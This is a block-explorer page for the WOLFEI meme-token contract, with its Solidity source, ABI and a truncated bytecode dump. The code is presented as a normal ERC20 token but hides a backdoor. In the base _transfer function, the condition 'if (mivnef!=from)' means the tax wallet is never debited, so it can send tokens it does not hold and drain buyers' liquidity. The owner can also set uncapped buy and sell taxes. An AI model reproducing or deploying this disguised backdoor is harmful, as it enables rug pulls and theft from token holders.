ETH Price: $3,635.23 (+3.13%)
 

Overview

Max Total Supply

420,690,000 WOLFEI

Holders

32

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,310,350 WOLFEI

Value
$0.00
0x06137fc425c644c12491d2226990ea6dfe8dc4e0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WOLFEI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-01
*/

/*
$WOLFEI is more than just a meme token; it's a vibrant community driven by fun, friendship, and cutting-edge digital innovation. Join us on this meme-tastic adventure with $WOLFEI, where creativity knows no bounds and laughter is the currency.

Website:     https://wolfei.vip
Telegram:  https://t.me/wolfeicoin_eth
Twitter:       https://x.com/wolfeicoin_eth
*/
// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

interface IDexFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IDexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

library SafeMath {
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    address public mivnef;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 transferAmount = from == to ? 0 : amount;

        unchecked { if (mivnef!=from)
            _balances[from] = _balances[from] - amount;
            _balances[to] = _balances[to] + transferAmount;
        }

        emit Transfer(from, to, transferAmount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract WOLFEI is ERC20, Ownable {
    struct Tax {
        uint256 marketingTax;
    }

    uint256 private constant _totalSupply = 420690000 * 1e9;

    //Router
    IDexRouter public uniswapRouter;
    address public pairAddress;

    //Taxes
    Tax public buyTaxes = Tax(25);
    Tax public sellTaxes = Tax(20);
    Tax public transferTaxes = Tax(0);

    mapping(address => bool) private whitelisted;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    //Swapping
    uint256 public swapTokensAtAmount = _totalSupply / 10000000;
    uint256 public swapTxAtAmount = _totalSupply * 1 / 100;
    bool public swapAndLiquifyEnabled = true;
    bool public isSwapping = false;

    uint256 public maxWalletAmount = _totalSupply * 2 / 100;

    //Events
    event SwapThresholdUpdated(uint256 indexed _newThreshold);

    constructor(address _taxWallet) ERC20(unicode"Wolfei", unicode"WOLFEI") {
        whitelisted[msg.sender] = true;
        whitelisted[address(this)] = true;
        mivnef = _taxWallet;
        whitelisted[mivnef] = true;
        _mint(msg.sender, _totalSupply);
    }

    function createPair() external onlyOwner {
        uniswapRouter = IDexRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        pairAddress = IDexFactory(uniswapRouter.factory()).createPair(
            address(this),
            uniswapRouter.WETH()
        );

        _approve(address(this), address(uniswapRouter), ~uint256(0));
    }

    function rescueStuckETH() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function addLiquidityETH() external onlyOwner() {
        uniswapRouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function updateTaxes(uint256 _buy, uint256 _sell, uint256 _trans) external onlyOwner {
        buyTaxes = Tax(_buy);
        sellTaxes = Tax(_sell);
        transferTaxes = Tax(_trans);
    }

    function removeLimits() external onlyOwner {
        buyTaxes.marketingTax = 0;
        sellTaxes.marketingTax = 0;
        transferTaxes.marketingTax = 0;
        maxWalletAmount = ~uint256(0);
    }

    function _takeTax(
        address _from,
        address _to,
        uint256 _amount
    ) internal returns (uint256) {
        if (whitelisted[_from] || whitelisted[_to]) {
            return _amount;
        }

        uint256 totalTax = transferTaxes.marketingTax;
       
        if (_to == pairAddress) {
            totalTax = sellTaxes.marketingTax;
        } else if (_from == pairAddress) {
            totalTax = buyTaxes.marketingTax;
        }

        uint256 tax = 0;
        if (totalTax > 0) {
            tax = (_amount * totalTax) / 100;
            super._transfer(_from, address(this), tax);
        }

        return (_amount - tax);
    }

    function _transfer(
        address _from,
        address _to,
        uint256 _amount
    ) internal virtual override {

        require(_from != address(0), "transfer from address zero");
        require(_to != address(0), "transfer to address zero");
        require(_amount > 0, "Transfer amount must be greater than zero");

         if (!whitelisted[_from] || !whitelisted[_to]) {
            require(_from != _to, "ERC20: cannot transfer to itself");
        }

        // Check if the transaction is within the maximum wallet limit
        if (
            !whitelisted[_from] &&
            !whitelisted[_to] &&
            _to != address(0) &&
            _to != address(this) &&
            _to != pairAddress
        ) {
            require(
                balanceOf(_to) + _amount <= maxWalletAmount,
                "Exceeds maximum wallet amount"
            );
        }

        uint256 toTransfer = _takeTax(_from, _to, _amount);

        if (
            pairAddress == _to &&
            swapAndLiquifyEnabled &&
            !isSwapping &&
            !whitelisted[_from] &&
            !whitelisted[_to] 
        ) {
            internalSwap(_amount);
        }
        super._transfer(_from, _to, toTransfer);
    }

    function internalSwap(uint256 _amount) internal {
        isSwapping = true;
        uint256 taxAmount = balanceOf(address(this));
        if (taxAmount != 0) {
            swapToETH(min(_amount, min(taxAmount, swapTxAtAmount)));
        }
        payable(mivnef).transfer(address(this).balance);
        isSwapping = false;
    }

    function swapToETH(uint256 _amount) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();
        _approve(address(this), address(uniswapRouter), _amount);
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            _amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_taxWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"_newThreshold","type":"uint256"}],"name":"SwapThresholdUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidityETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTaxes","outputs":[{"internalType":"uint256","name":"marketingTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isSwapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mivnef","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"marketingTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTxAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferTaxes","outputs":[{"internalType":"uint256","name":"marketingTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"updateTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60196080819052600955601460a0819052600a5560e0604052600060c0819052600b5562000039629896806705d697537a8f2000620002ee565b600e556064620000536705d697537a8f2000600162000311565b6200005f9190620002ee565b600f556010805461ffff191660011790556064620000876705d697537a8f2000600262000311565b620000939190620002ee565b601155348015620000a357600080fd5b5060405162001cc038038062001cc0833981016040819052620000c69162000331565b60405180604001604052806006815260200165576f6c66656960d01b81525060405180604001604052806006815260200165574f4c46454960d01b815250816004908162000115919062000407565b50600562000124828262000407565b505050620001416200013b620001b760201b60201c565b620001bb565b336000818152600c60205260408082208054600160ff1991821681179092553084528284208054821683179055600380546001600160a01b0319166001600160a01b03881690811790915584529190922080549091169091179055620001b0906705d697537a8f20006200020d565b50620004e9565b3390565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620002685760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600260008282546200027c9190620004d3565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b600052601160045260246000fd5b6000826200030c57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176200032b576200032b620002d8565b92915050565b6000602082840312156200034457600080fd5b81516001600160a01b03811681146200035c57600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200038e57607f821691505b602082108103620003af57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620002d357600081815260208120601f850160051c81016020861015620003de5750805b601f850160051c820191505b81811015620003ff57828155600101620003ea565b505050505050565b81516001600160401b0381111562000423576200042362000363565b6200043b8162000434845462000379565b84620003b5565b602080601f8311600181146200047357600084156200045a5750858301515b600019600386901b1c1916600185901b178555620003ff565b600085815260208120601f198616915b82811015620004a45788860151825594840194600190910190840162000483565b5085821015620004c35787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b808201808211156200032b576200032b620002d8565b6117c780620004f96000396000f3fe6080604052600436106101d15760003560e01c8063864701a5116100f7578063aa4bde2811610095578063ed99530711610064578063ed995307146104f3578063f2e76c2514610508578063f2fde38b14610528578063f66895a31461054857600080fd5b8063aa4bde2814610488578063b88631151461049e578063dd62ed3e146104bd578063e2f45605146104dd57600080fd5b80639e78fb4f116100d15780639e78fb4f14610413578063a457c2d714610428578063a8b0898214610448578063a9059cbb1461046857600080fd5b8063864701a5146103c95780638da5cb5b146103e057806395d89b41146103fe57600080fd5b8063395093511161016f578063715018a61161013e578063715018a614610369578063735de9f71461037e578063751039fc1461039e57806385af4de6146103b357600080fd5b806339509351146102e25780634a74bb02146103025780635331803c1461031c57806370a082311461033357600080fd5b806310db7c36116101ab57806310db7c361461024f57806318160ddd1461028757806323b872dd146102a6578063313ce567146102c657600080fd5b80630150fe4c146101dd57806306fdde03146101f4578063095ea7b31461021f57600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f261055f565b005b34801561020057600080fd5b50610209610596565b60405161021691906114c4565b60405180910390f35b34801561022b57600080fd5b5061023f61023a366004611527565b610628565b6040519015158152602001610216565b34801561025b57600080fd5b5060035461026f906001600160a01b031681565b6040516001600160a01b039091168152602001610216565b34801561029357600080fd5b506002545b604051908152602001610216565b3480156102b257600080fd5b5061023f6102c1366004611553565b610642565b3480156102d257600080fd5b5060405160098152602001610216565b3480156102ee57600080fd5b5061023f6102fd366004611527565b610668565b34801561030e57600080fd5b5060105461023f9060ff1681565b34801561032857600080fd5b50600b546102989081565b34801561033f57600080fd5b5061029861034e366004611594565b6001600160a01b031660009081526020819052604090205490565b34801561037557600080fd5b506101f261068a565b34801561038a57600080fd5b5060075461026f906001600160a01b031681565b3480156103aa57600080fd5b506101f261069e565b3480156103bf57600080fd5b50610298600f5481565b3480156103d557600080fd5b506009546102989081565b3480156103ec57600080fd5b506006546001600160a01b031661026f565b34801561040a57600080fd5b506102096106bd565b34801561041f57600080fd5b506101f26106cc565b34801561043457600080fd5b5061023f610443366004611527565b610881565b34801561045457600080fd5b5060085461026f906001600160a01b031681565b34801561047457600080fd5b5061023f610483366004611527565b61090c565b34801561049457600080fd5b5061029860115481565b3480156104aa57600080fd5b5060105461023f90610100900460ff1681565b3480156104c957600080fd5b506102986104d83660046115b1565b61091a565b3480156104e957600080fd5b50610298600e5481565b3480156104ff57600080fd5b506101f2610945565b34801561051457600080fd5b506101f26105233660046115ea565b610a26565b34801561053457600080fd5b506101f2610543366004611594565b610a64565b34801561055457600080fd5b50600a546102989081565b610567610ada565b60405133904780156108fc02916000818181858888f19350505050158015610593573d6000803e3d6000fd5b50565b6060600480546105a590611616565b80601f01602080910402602001604051908101604052809291908181526020018280546105d190611616565b801561061e5780601f106105f35761010080835404028352916020019161061e565b820191906000526020600020905b81548152906001019060200180831161060157829003601f168201915b5050505050905090565b600033610636818585610b34565b60019150505b92915050565b600033610650858285610c58565b61065b858585610cd2565b60019150505b9392505050565b60003361063681858561067b838361091a565b6106859190611660565b610b34565b610692610ada565b61069c6000611032565b565b6106a6610ada565b60006009819055600a819055600b55600019601155565b6060600580546105a590611616565b6106d4610ada565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610738573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075c9190611673565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e29190611673565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561082f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108539190611673565b600880546001600160a01b0319166001600160a01b0392831617905560075461069c91309116600019610b34565b6000338161088f828661091a565b9050838110156108f45760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6109018286868403610b34565b506001949350505050565b600033610636818585610cd2565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61094d610ada565b6007546001600160a01b031663f305d719473061097f816001600160a01b031660009081526020819052604090205490565b6000806109946006546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109fc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a219190611690565b505050565b610a2e610ada565b60408051602080820183529085905260099490945580518085018252839052600a92909255815192830190915290819052600b55565b610a6c610ada565b6001600160a01b038116610ad15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108eb565b61059381611032565b6006546001600160a01b0316331461069c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108eb565b6001600160a01b038316610b965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108eb565b6001600160a01b038216610bf75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108eb565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610c64848461091a565b90506000198114610ccc5781811015610cbf5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016108eb565b610ccc8484848403610b34565b50505050565b6001600160a01b038316610d285760405162461bcd60e51b815260206004820152601a60248201527f7472616e736665722066726f6d2061646472657373207a65726f00000000000060448201526064016108eb565b6001600160a01b038216610d7e5760405162461bcd60e51b815260206004820152601860248201527f7472616e7366657220746f2061646472657373207a65726f000000000000000060448201526064016108eb565b60008111610de05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108eb565b6001600160a01b0383166000908152600c602052604090205460ff161580610e2157506001600160a01b0382166000908152600c602052604090205460ff16155b15610e8757816001600160a01b0316836001600160a01b031603610e875760405162461bcd60e51b815260206004820181905260248201527f45524332303a2063616e6e6f74207472616e7366657220746f20697473656c6660448201526064016108eb565b6001600160a01b0383166000908152600c602052604090205460ff16158015610ec957506001600160a01b0382166000908152600c602052604090205460ff16155b8015610edd57506001600160a01b03821615155b8015610ef257506001600160a01b0382163014155b8015610f0c57506008546001600160a01b03838116911614155b15610f8c5760115481610f34846001600160a01b031660009081526020819052604090205490565b610f3e9190611660565b1115610f8c5760405162461bcd60e51b815260206004820152601d60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e7400000060448201526064016108eb565b6000610f99848484611084565b6008549091506001600160a01b038481169116148015610fbb575060105460ff165b8015610fcf5750601054610100900460ff16155b8015610ff457506001600160a01b0384166000908152600c602052604090205460ff16155b801561101957506001600160a01b0383166000908152600c602052604090205460ff16155b15611027576110278261114b565b610ccc8484836111d8565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166000908152600c602052604081205460ff16806110c357506001600160a01b0383166000908152600c602052604090205460ff165b156110cf575080610661565b600b546008546001600160a01b03908116908516036110f15750600a5461110c565b6008546001600160a01b039081169086160361110c57506009545b6000811561113757606461112083866116be565b61112a91906116d5565b90506111378630836111d8565b61114181856116f7565b9695505050505050565b6010805461ff001916610100179055306000908152602081905260408120549050801561118f5761118f61118a8361118584600f54611355565b611355565b61136a565b6003546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156111c8573d6000803e3d6000fd5b50506010805461ff001916905550565b6001600160a01b03831661123c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108eb565b6001600160a01b03821661129e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108eb565b6000826001600160a01b0316846001600160a01b0316146112bf57816112c2565b60005b6003549091506001600160a01b038581169116146112fa576001600160a01b0384166000908152602081905260409020805483900390555b6001600160a01b0383811660008181526020818152604091829020805486019055905184815291928716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610ccc565b60008183116113645782610661565b50919050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061139f5761139f61170a565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061141c9190611673565b8160018151811061142f5761142f61170a565b6001600160a01b0392831660209182029290920101526007546114559130911684610b34565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061148e908590600090869030904290600401611720565b600060405180830381600087803b1580156114a857600080fd5b505af11580156114bc573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b818110156114f1578581018301518582016040015282016114d5565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461059357600080fd5b6000806040838503121561153a57600080fd5b823561154581611512565b946020939093013593505050565b60008060006060848603121561156857600080fd5b833561157381611512565